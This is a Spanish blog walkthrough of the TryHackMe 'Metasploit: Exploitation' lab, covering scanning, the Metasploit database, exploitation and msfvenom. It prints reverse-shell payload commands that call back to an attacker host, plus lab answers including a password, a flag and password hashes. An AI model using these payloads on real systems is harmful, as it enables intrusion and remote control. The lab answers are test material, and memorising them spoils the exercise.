Saltar al contenido
Portada » Blog – Laprovittera Carlos » TryHackMe – Metasploit: Exploitation

TryHackMe – Metasploit: Exploitation

Hola hacketones! Bienvenidos a un nuevo CTF para la Certificación SEC1 de la ruta Cyber Security 101 de TryHackMe – Metasploit: Exploitation

En esta sala aprenderemos a usar Metasploit para escaneo y explotación de vulnerabilidades. También cubriremos cómo la función de base de datos facilita la gestión de compromisos de pruebas de penetración con un alcance más amplio. Finalmente, veremos cómo generar payloads con msfvenom y cómo iniciar unMeterpretersesión en la mayoría de las plataformas objetivo.

Más concretamente, los temas que trataremos son:

  • Cómo escanear sistemas objetivo usandoMetasploit.
  • Cómo utilizar elMetasploitfunción de base de datos.
  • Cómo usarMetasploitpara realizar un análisis de vulnerabilidades.
  • Cómo usarMetasploitexplotar servicios vulnerables en los sistemas objetivo.
  • ¿Cómo msfvenom se puede utilizar para crear cargas útiles y obtener una sesión de Meterpreter en el sistema objetivo?

Tenga en cuenta que para todas las preguntas que requieran el uso de una lista de palabras (por ejemplo, ataques de fuerza bruta), utilizaremos la lista de palabras que se encuentra en AttackBox en  la siguiente ruta:

/usr/share/wordlists/MetasploitRoom/MetasploitWordlist.txt 

Si prefiere utilizar su propio ordenador, descargue la lista de palabras haciendo clic en el botón «Descargar archivos de tareas» que aparece a la derecha.

Inicie AttackBox y ejecute Metasploit usando el msfconsolecomando para seguir esta sala.

Tarea 2 Exploración

Escaneo de puertos

MetasploitTiene varios módulos para escanear puertos abiertos en el sistema y la red objetivo. Puede listar los módulos de escaneo de puertos disponibles mediante el search portscan comando.

Buscar escaneo de puertos

Los módulos de escaneo de puertos requerirán que configure algunas opciones:

Opciones de escaneo de puertos

  • CONCURRENCIA: Número de objetivos que se escanearán simultáneamente.
  • PUERTOS: Rango de puertos a escanear. Tenga en cuenta que el rango 1-1000 no es el mismo que usar Nmap con la configuración predeterminada. Nmap escaneará los 1000 puertos más utilizados, mientras que Metasploit escaneará los puertos del 1 al 10000.
  • RHOSTS: Objetivo o red objetivo que se va a escanear.
  • HILOS: Número de hilos que se utilizarán simultáneamente. Cuantos más hilos, más rápido será el escaneo.

Puedes realizar escaneos de Nmap directamente desde la consola de msf, como se muestra a continuación, de forma más rápida:

Usando Nmap desde la consola de Msf

En cuanto a la recopilación de información, si su proyecto requiere un enfoque más rápido para el escaneo de puertos,MetasploitPuede que no sea tu primera opción. Sin embargo, hay varios módulos que lo hacen posible.Metasploituna herramienta útil para la fase de escaneo.

Identificación del servicio UDP

El scanner/discovery/udp_sweep módulo le permitirá identificar rápidamente los servicios que se ejecutan en elUDP(Protocolo de datagramas de usuario). Como puede ver a continuación, este módulo no realizará un escaneo exhaustivo de todos los posiblesUDPservicios, pero proporciona una forma rápida de identificar servicios como DNS o NetBIOS.

UDPescanear

msf6 auxiliary(scanner/discovery/udp_sweep) > run

[*] Sending 13 probes to 10.10.12.229->10.10.12.229 (1 hosts)
[*] Discovered NetBIOS on 10.10.12.229:137 (JON-PC::U :WORKGROUP::G :JON-PC::U :WORKGROUP::G :WORKGROUP::U :__MSBROWSE__::G :02:ce:59:27:c8:e3)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/discovery/udp_sweep) >

Escaneos SMB

Metasploit ofrece varios módulos auxiliares útiles que permiten escanear servicios específicos. A continuación, se muestra un ejemplo para SMB. En una red corporativa, serían especialmente útiles los siguientes módulos, smb_enumshares pero smb_version le recomendamos que dedique tiempo a identificar los escáneres que ofrece la versión de Metasploit instalada en su sistema.

escaneo SMB

msf6 auxiliary(scanner/smb/smb_version) > run

[+] 10.10.12.229:445      – Host is running Windows 7 Professional SP1 (build:7601) (name:JON-PC) (workgroup:WORKGROUP ) (signatures:optional)
[*] 10.10.12.229:445      – Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/smb/smb_version) >

Al realizar escaneos de servicios, sería importante no omitir servicios más «exóticos» comoNetBIOS. NetBIOS(Sistema Básico de Entrada/Salida de Red), similar aPYME, permite que las computadoras se comuniquen a través de la red para compartir archivos o enviar archivos a impresoras.NetBIOSEl nombre del sistema objetivo puede darte una idea de su función e incluso de su importancia (por ejemplo, CORP-corriente continua,DEVOPS, VENTAS, etc.). También puede encontrarse con algunos archivos y carpetas compartidos a los que se puede acceder sin contraseña o que están protegidos con una contraseña simple (por ejemplo, admin, administrator, root, toor, etc.).

Recordar,MetasploitCuenta con numerosos módulos que pueden ayudarte a comprender mejor el sistema objetivo y, posiblemente, a encontrar vulnerabilidades. Siempre es recomendable realizar una búsqueda rápida para comprobar si existen módulos que puedan resultarte útiles según tu sistema objetivo.

Responda las siguientes preguntas

¿Cuántos puertos están abiertos en el sistema de destino?

5

Utilizando el escáner correspondiente, ¿qué nombre NetBIOS puede ver?

ACME IT SUPPORT

¿Qué se está ejecutando en el puerto 8000?

webfs/1.21

¿Cuál es la contraseña SMB del usuario «penny»? Utilice la lista de palabras mencionada en la tarea anterior.

leo1234

Tarea 3 La base de datos de Metasploit

Si bien no es obligatorio al interactuar con un solo objetivo en TryHackMe, una prueba de penetración real probablemente tendrá varios objetivos.

MetasploitDispone de una función de base de datos para simplificar la gestión del proyecto y evitar posibles confusiones al configurar los valores de los parámetros.

Tenga en cuenta que los siguientes pasos ya se han realizado en TryHackMe AttackBox, por lo que solo tendrá que hacerlo si está utilizando Kali o ha instaladoMetasploittú mismo.

Primero deberá iniciar la base de datos PostgreSQL, queMetasploitse utilizará con el siguiente comando: systemctl start postgresql.

Luego deberá inicializar la base de datos de Metasploit usando el msfdb initcomando. Sin embargo, intentar ejecutarlo msfdb initcomo root dará el siguiente mensaje de error: «Ejecute msfdb como un usuario que no sea root». Esto se puede solucionar ejecutándolo como la postgrescuenta usando sudo -u postgres msfdb init.

La terminal que se muestra a continuación ilustra la salida de ejemplo. Como se mencionó, los pasos que se describen a continuación ya se han realizado en AttackBox; sin embargo, si desea repetirlos, primero deberá eliminar la base de datos existente utilizando sudo -u postgres msfdb delete.

La función de base de datos le permitirá crear espacios de trabajo para aislar diferentes proyectos. Al iniciar la aplicación por primera vez, debería estar en el espacio de trabajo predeterminado. Puede listar los espacios de trabajo disponibles mediante el workspace comando.

También observará que el nombre de la nueva base de datos está impreso en rojo y comienza con un *símbolo.

Puedes usar el comando workspace para navegar entre espacios de trabajo simplemente escribiendo workspaceseguido del nombre del espacio de trabajo deseado.

A diferencia del uso habitual de Metasploit, una vez que Metasploit se inicia con una base de datos, al ejecutar el help comando, se mostrará el menú de comandos de backends de base de datos.

Si ejecutas un Nmap Escanee utilizando el db_nmap método que se muestra a continuación; todos los resultados se guardarán en la base de datos.

Ahora puede acceder a información relevante sobre hosts y servicios que se ejecutan en los sistemas de destino con los  comandos  hostsy , respectivamente.services

Los comandos hosts -hy services -hpueden ayudarte a familiarizarte con las opciones disponibles. Una vez que la información del host se almacena en la base de datos, puedes usar el hosts -R comando para agregar este valor al parámetro RHOSTS.

Ejemplo de flujo de trabajo

  1. Utilizaremos el módulo de escaneo de vulnerabilidades que encuentra posibles vulnerabilidades MS17-010 con el use auxiliary/scanner/smb/smb_ms17_010comando.
  2. Establecemos el valor de RHOSTS usando hosts -R.
  3. Hemos escrito show optionspara comprobar si todos los valores se asignaron correctamente. (En este ejemplo, 10.10.138.32 es la dirección IP que escaneamos anteriormente usando el db_nmapcomando).
  4. Una vez configurados todos los parámetros, lanzamos el exploit usando el  comando  run o .exploit

Si hay más de un host guardado en la base de datos, se utilizarán todas las direcciones IP cuando hosts -Rse ejecute el comando. 

En una típica prueba de penetración, podríamos encontrarnos con el siguiente escenario: 

  • Encontrar hosts disponibles usando el db_nmap comando
  • Analizar estos puertos en busca de vulnerabilidades adicionales o puertos abiertos (utilizando un módulo de escaneo de puertos). 

El comando services, utilizado con el -Sparámetro, le permitirá buscar servicios específicos en el entorno.

Quizás quieras buscar soluciones fáciles como las siguientes:

  • HTTP: Podría potencialmente alojar una aplicación web donde se pueden encontrar vulnerabilidades comoSQLInyección o ejecución remota de código (RCE).
  • FTPPodría permitir el inicio de sesión anónimo y proporcionar acceso a archivos interesantes.
  • PYME: Podría ser vulnerable aPYMEexploits como MS17-010
  • SSHPodría tener credenciales predeterminadas o fáciles de adivinar.
  • RDPPodría ser vulnerable a Bluekeep o permitir el acceso al escritorio si se utilizan credenciales débiles. 

Como se puede ver,MetasploitCuenta con numerosas funciones que facilitan la colaboración, como la posibilidad de compartimentar las tareas en espacios de trabajo, analizar los resultados a un alto nivel e importar y explorar datos rápidamente.

Tarea 4 Escaneo de vulnerabilidades

MetasploitPermite identificar rápidamente algunas vulnerabilidades críticas que podrían considerarse «fáciles de explotar». El término «fáciles de explotar» generalmente se refiere a vulnerabilidades fácilmente identificables y explotables que podrían permitir obtener acceso a un sistema y, en algunos casos, conseguir privilegios de alto nivel como el de root o administrador.

Encontrar vulnerabilidades usandoMetasploitDependerá en gran medida de tu capacidad para escanear y tomar la huella dactilar del objetivo. Cuanto mejor seas en estas etapas, más opciones tendrás.MetasploitPuede que te sea útil. Por ejemplo, si identificas un servicio VNC ejecutándose en el objetivo, puedes usar la searchfunción de Metasploit para listar módulos útiles. Los resultados incluirán módulos de payload y post. En esta etapa, estos resultados no son muy útiles, ya que aún no hemos descubierto un exploit potencial. Sin embargo, en el caso de VNC, existen varios módulos de escaneo que podemos usar.

Puedes usar el info comando para cualquier módulo para comprender mejor su uso y propósito.

Como puede verse, el vnc_login módulo nos ayuda a encontrar los datos de inicio de sesión para el servicio VNC.

Responda las siguientes preguntas

¿Quién escribió el módulo que nos permite comprobar si los servidores SMTP utilizan retransmisión abierta?

Campbell Murray

Tarea 5 Explotación

Como su nombre lo indica, Metasploit es un marco de explotación. Los exploits son la categoría de módulos más poblada.

Puedes buscar exploits usando el search comando, obtener más información sobre el exploit usando el info comando y ejecutar el exploit usando exploit. Si bien el proceso en sí es simple, recuerda que un resultado exitoso depende de un conocimiento profundo de los servicios que se ejecutan en el sistema objetivo.

La mayoría de los exploits tendrán una carga útil predeterminada. Sin embargo, siempre puedes usar el show payloadscomando para listar otros comandos que puedes usar con ese exploit específico.

Una vez que haya decidido la carga útil, puede usar el set payloadcomando para hacer su elección.

Tenga en cuenta que elegir una carga útil que funcione podría convertirse en un proceso de prueba y error debido a factores ambientales oSistema operativorestricciones como reglas de firewall, antivirus, escritura de archivos o que el programa que realiza la ejecución de la carga útil no esté disponible (por ejemplo, payload/python/shell_reverse_tcp).

Algunas cargas útiles abrirán nuevos parámetros que quizás deba configurar; ejecutar el show optionscomando una vez más puede mostrarlos. Como puede ver en el ejemplo anterior, una carga útil inversa requerirá al menos que configure la LHOST opción.

Una vez abierta una sesión, puede enviarla a segundo plano CTRL+Zo abortarla CTRL+C. Enviar una sesión a segundo plano será útil cuando se trabaje en más de un objetivo simultáneamente o en el mismo objetivo con un exploit o shell diferente.

Trabajar con sesiones

El sessions comando mostrará todas las sesiones activas. El sessions comando admite varias opciones que le ayudarán a administrar mejor las sesiones.

Puedes interactuar con cualquier sesión existente utilizando el sessions -icomando seguido del ID de sesión.

Instala la máquina de laboratorio y responde a las siguientes preguntas:

Responda las siguientes preguntas

¿Cuál es el contenido del archivo flag.txt?

THM-5455554845

¿Cuál es el hash NTLM de la contraseña del usuario «pirate»?

8ce9a3ebd1647fcc5e04025019f4b875

Tarea 6 Msfvenom

Pulse el botón » Iniciar máquina de laboratorio» que aparece a continuación.

Msfvenom, que reemplazó a Msfpayload y Msfencode, le permite generar payloads.

Msfvenom le permitirá acceder a todos los payloads disponibles en el  Metasploitmarco. Msfvenom le permite crear cargas útiles en muchos formatos diferentes (PHP, exe,dll, elf, etc.) y para muchos sistemas de destino diferentes (Apple, Windows, Android,Linux, etc.).

Formatos de salida

Puede generar cargas útiles independientes (por ejemplo, un ejecutable de Windows paraMeterpreter) o bien obtener un formato sin procesar utilizable (por ejemplo, Python). El msfvenom –list formatscomando se puede utilizar para listar los formatos de salida compatibles.

Codificadores

Contrariamente a algunas creencias, los codificadores no pretenden eludir el antivirus instalado en el sistema objetivo. Como su nombre indica, codifican la carga útil. Si bien puede ser eficaz contra algunos programas antivirus, utilizar técnicas modernas de ofuscación o aprender métodos para inyectar shellcode es una mejor solución al problema. El siguiente ejemplo muestra el uso de la codificación (con el -eparámetro. La versión PHP de Meterpreter se codificó en Base64 y el formato de salida fue raw.

adiestradores

De forma similar a los exploits que utilizan una shell inversa, deberá poder aceptar las conexiones entrantes generadas por la carga útil de MSFvenom. Al usar un módulo de exploit, este se encarga automáticamente de ello; recuerde cómo payload optionsaparecía el título al configurar una shell inversa. El término comúnmente utilizado para recibir una conexión de un objetivo es «capturar una shell». Las shells inversas o las devoluciones de llamada de Meterpreter generadas en su carga útil de MSFvenom se pueden capturar fácilmente mediante un manejador.

El siguiente escenario puede resultarle familiar; explotaremos la vulnerabilidad de carga de archivos presente en DVWA (Damn Vulnerable Web Application). Para los ejercicios de esta tarea, deberá replicar un escenario similar en otro sistema objetivo; DVWA se utilizó aquí con fines ilustrativos. Los pasos para la explotación son:

  1. Genera el shell PHP usando MSFvenom
  2. Iniciar el manejador de Metasploit
  3. Ejecutar el intérprete de comandos PHP

MSFvenom requiere una carga útil, la dirección IP de la máquina local y el puerto local al que se conectará la carga útil. Como se muestra a continuación, 10.0.2.19 es la dirección IP del AttackBox utilizado en el ataque y se eligió el puerto local 7777.

Tenga en cuenta: La salidaPHPEl archivo no tendrá el inicioPHPetiqueta comentada y la etiqueta de cierre ( ?>), como se ve a continuación.

Tenga en cuenta: La salidaPHPEl archivo no tendrá el inicioPHPetiqueta comentada y la etiqueta de cierre ( ?>), como se ve a continuación.

El archivo reverse_shell.php debe editarse para convertirlo en un archivo PHP funcional. 

Abajo: Comentarios eliminados del principio del archivo.

Abajo: Se agregó la etiqueta de cierre

Usaremos Multi Handler para recibir la conexión entrante. El módulo se puede usar con el use exploit/multi/handlercomando.

Multi handler admite todas las cargas útiles de Metasploit y se puede utilizar tanto para Meterpreter como para shells normales.

Para utilizar el módulo, necesitaremos establecer el valor de la carga útil ( php/reverse_phpen este caso), los valores de LHOST y LPORT.

Una vez que todo esté configurado, ejecutaremos run el controlador y esperaremos la conexión entrante.

Cuando se activa la shell inversa, la conexión será recibida por multi/handler y nos proporcionará una shell.

Si la carga útil se configura como Meterpreter (por ejemplo, en formato ejecutable de Windows), multi/handler nos proporcionaría entonces un intérprete de comandos de Meterpreter.

Otras cargas útiles

Según la configuración del sistema objetivo (sistema operativo, servidor web instalado, intérprete instalado, etc.), msfvenom puede utilizarse para crear cargas útiles en casi todos los formatos. A continuación, se muestran algunos ejemplos que utilizará con frecuencia:

En todos estos ejemplos, LHOST será la dirección IP de su máquina atacante y LPORT será el puerto en el que su manejador escuchará.

Formato ejecutable y enlazable de Linux (elf)

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f elf > rev_shell.elf

El formato .elf es comparable al formato .exe en Windows. Estos son archivos ejecutables paraLinuxSin embargo, es posible que aún necesite asegurarse de que tengan permisos de ejecución en la máquina del laboratorio. Por ejemplo, una vez que tenga el archivo shell.elf en su máquina del laboratorio, use el comando chmod +x shell.elf para otorgar permisos de ejecución. Una vez hecho esto, puede ejecutar este archivo escribiendo ./shell.elf en la línea de comandos de la máquina del laboratorio.

Windows

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe > rev_shell.exe

PHP

msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.php

ASP

msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp > rev_shell.asp

Python

msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw > rev_shell.py

Todos los ejemplos anteriores son payloads inversos. Esto significa que necesitará tener el módulo exploit/multi/handler escuchando en su máquina atacante para que funcione como un manejador. Deberá configurar el manejador de acuerdo con los parámetros payload, LHOST y LPORT. Estos valores serán los mismos que ha usado cuando creó el payload msfvenom.

Responda las siguientes preguntas

¿Cuál es el hash de la contraseña del otro usuario?

$6$Sy0NNIXw$SJ27WltHI89hwM5UxqVGiXidj94QFRm2Ynp9p9kxgVbjrmtMez9EqXoDWtcQd8rf0tjc77hBFbWxjGmQCTbep0

Tarea 7 Resumen

Ahora deberías tener una mejor comprensión de cómoMetasploitpuede ayudarle a identificar posibles vulnerabilidades en los sistemas objetivo y a explotarlas.

También has visto cómo la función de base de datos puede ayudarte con las pruebas de penetración en las que tienes múltiples objetivos potenciales.

Por último, deberías haber adquirido algo de experiencia con msfvenom y la creación de aplicaciones independientes.Meterpretercargas útiles. Esto es especialmente útil en situaciones en las que se puede cargar un archivo al sistema de destino o se tiene la posibilidad de descargar archivos al sistema de destino.MeterpreterEs una herramienta poderosa que ofrece muchas funciones fáciles de usar durante la fase posterior a la explotación.

Sigan entrenando, Hacketones, Nos vemos en el próximo laboratorio!!!

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *